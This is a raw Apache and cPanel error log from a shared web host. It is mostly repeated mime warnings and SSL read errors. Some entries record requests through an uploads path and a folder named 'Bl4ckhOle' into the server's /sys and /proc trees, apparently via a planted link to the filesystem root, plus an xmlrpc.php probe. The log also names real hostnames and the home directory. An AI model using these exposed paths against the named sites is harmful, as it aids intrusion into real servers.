[Fri Jul 17 10:31:59.562697 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.662547 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.770085 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.770223 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.870649 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.972523 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:00.074660 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:00.178783 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:00.283532 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:00.385074 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:00.385248 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:00.484638 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:00.586059 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:00.687027 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:00.791898 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:00.917259 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:00.991276 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:01.094206 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:01.195417 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:01.294584 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:01.394688 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:01.495964 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:01.566255 2026] [ssl:error] [pid 2080166:tid 2080166] (70014)End of file found: [client 66.85.158.91:45624] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:32:01.597905 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:01.698217 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:01.698466 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:01.800153 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:01.900771 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:02.009791 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:02.162857 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:02.210131 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:02.397634 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:02.422905 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:02.516452 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:02.546694 2026] [ssl:error] [pid 2076194:tid 2076194] (70014)End of file found: [client 66.85.158.91:45658] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:32:02.619171 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:02.982561 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.037771 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.040084 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.306467 2026] [ssl:error] [pid 2075780:tid 2075780] (70014)End of file found: [client 66.85.158.91:45702] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:32:03.406389 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.492231 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.492819 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.496437 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.499521 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.538417 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.639882 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.639946 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.639990 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640021 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640055 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640110 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640168 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640192 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640210 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640230 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640247 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640288 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640308 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640326 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640346 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640363 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640392 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640412 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640429 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640446 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640463 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640480 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640497 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640513 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640530 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640551 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640569 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640586 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640627 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640660 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.640692 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.740114 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842227 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842309 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842346 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842381 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842402 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842443 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842490 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842509 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842531 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842549 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842566 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842607 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842627 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842645 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842662 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842690 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842724 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842745 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842764 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842781 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842798 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842818 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842835 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842851 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842869 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842886 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842906 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842925 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.842992 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.843065 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.843102 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:03.944598 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:04.045138 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:04.146818 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:04.247606 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:04.349551 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:04.449998 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:04.464249 2026] [ssl:error] [pid 2075690:tid 2075690] (70014)End of file found: [client 66.85.158.91:45764] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:32:04.551287 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:04.653348 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:04.753052 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:04.876763 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:04.956876 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.108464 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.158037 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.259235 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.362587 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464019 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464135 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464185 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464217 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464237 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464276 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464308 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464337 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464364 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464415 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464440 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464483 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464502 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464521 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464540 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464558 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464585 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464604 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464620 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464639 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464658 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464694 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464723 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464742 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464759 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464777 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464795 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464813 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464853 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464885 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.464925 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.631157 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.678893 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.679351 2026] [security2:error] [pid 2076231:tid 2076231] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/cpanel-php84-date-holidays-sanmarino/"] [unique_id "alm3TWG27nIfbW_ExyiJWwAAABM"]
[Fri Jul 17 10:32:05.679377 2026] [security2:error] [pid 2076231:tid 2076231] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/cpanel-php84-date-holidays-sanmarino/"] [unique_id "alm3TWG27nIfbW_ExyiJWwAAABM"]
[Fri Jul 17 10:32:05.767540 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.893151 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:05.969145 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:06.069801 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:06.170160 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:06.271103 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:06.370508 2026] [ssl:error] [pid 2075705:tid 2075705] (70014)End of file found: [client 66.85.158.91:45786] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:32:06.373924 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:06.477877 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:06.575351 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:06.685637 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:06.787015 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:06.910475 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:06.991427 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:07.093946 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:07.194486 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:07.298271 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:07.396165 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:07.498235 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:07.651581 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:07.706552 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:08.247083 2026] [ssl:error] [pid 2076132:tid 2076132] (70014)End of file found: [client 66.85.158.91:45876] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:32:08.252535 2026] [ssl:error] [pid 2076257:tid 2076257] (70014)End of file found: [client 66.85.158.91:45882] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:32:08.367963 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:08.627649 2026] [core:error] [pid 2078862:tid 2078862] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup1/subsystem/wakeup11/device/device:13/eject
[Fri Jul 17 10:32:08.728863 2026] [core:error] [pid 2076194:tid 2076194] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:04/subsystem/drivers/button/bind
[Fri Jul 17 10:32:08.829787 2026] [core:error] [pid 2080166:tid 2080166] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:01/subsystem/drivers/system/bind
[Fri Jul 17 10:32:08.932031 2026] [security2:error] [pid 2079960:tid 2079960] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty7/subsystem/tty49/power/control"] [unique_id "alm3UEo1HlSlE-PE8fXw8AAAAAQ"]
[Fri Jul 17 10:32:08.932082 2026] [security2:error] [pid 2079960:tid 2079960] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty7/subsystem/tty49/power/control"] [unique_id "alm3UEo1HlSlE-PE8fXw8AAAAAQ"]
[Fri Jul 17 10:32:09.246537 2026] [ssl:error] [pid 2075780:tid 2075780] (70014)End of file found: [client 66.85.158.91:45926] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:32:09.971882 2026] [ssl:error] [pid 2075904:tid 2075904] (70014)End of file found: [client 66.85.158.91:46000] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:32:10.294089 2026] [ssl:error] [pid 2075690:tid 2075690] (70014)End of file found: [client 66.85.158.91:46030] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:32:11.771835 2026] [security2:error] [pid 2081358:tid 2081358] [client 125.19.227.210:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nsteeleng-global": Permission denied [hostname "nsteeleng.com"] [uri "/xmlrpc.php"] [unique_id "alm3UpWREna-U6bV0taifQAAABA"]
[Fri Jul 17 10:32:11.771881 2026] [security2:error] [pid 2081358:tid 2081358] [client 125.19.227.210:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nsteeleng-ip": Permission denied [hostname "nsteeleng.com"] [uri "/xmlrpc.php"] [unique_id "alm3UpWREna-U6bV0taifQAAABA"]
[Fri Jul 17 10:32:12.379314 2026] [ssl:error] [pid 2075693:tid 2075693] (70014)End of file found: [client 66.85.158.91:48944] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:32:13.179642 2026] [security2:error] [pid 2075901:tid 2075901] [client 57.141.18.112:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory36/subsystem/devices/memory122/node0/cpu4/"] [unique_id "alm3VWFDQ6dUmh6WfoaGRwAAAAc"]
[Fri Jul 17 10:32:13.179809 2026] [security2:error] [pid 2075901:tid 2075901] [client 57.141.18.112:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory36/subsystem/devices/memory122/node0/cpu4/"] [unique_id "alm3VWFDQ6dUmh6WfoaGRwAAAAc"]
[Fri Jul 17 10:32:13.976317 2026] [ssl:error] [pid 2075718:tid 2075718] (70014)End of file found: [client 66.85.158.91:49012] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:32:17.818289 2026] [security2:error] [pid 2081387:tid 2081387] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm3WfrJf6iLdwVV9Zl7jgAAABc"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
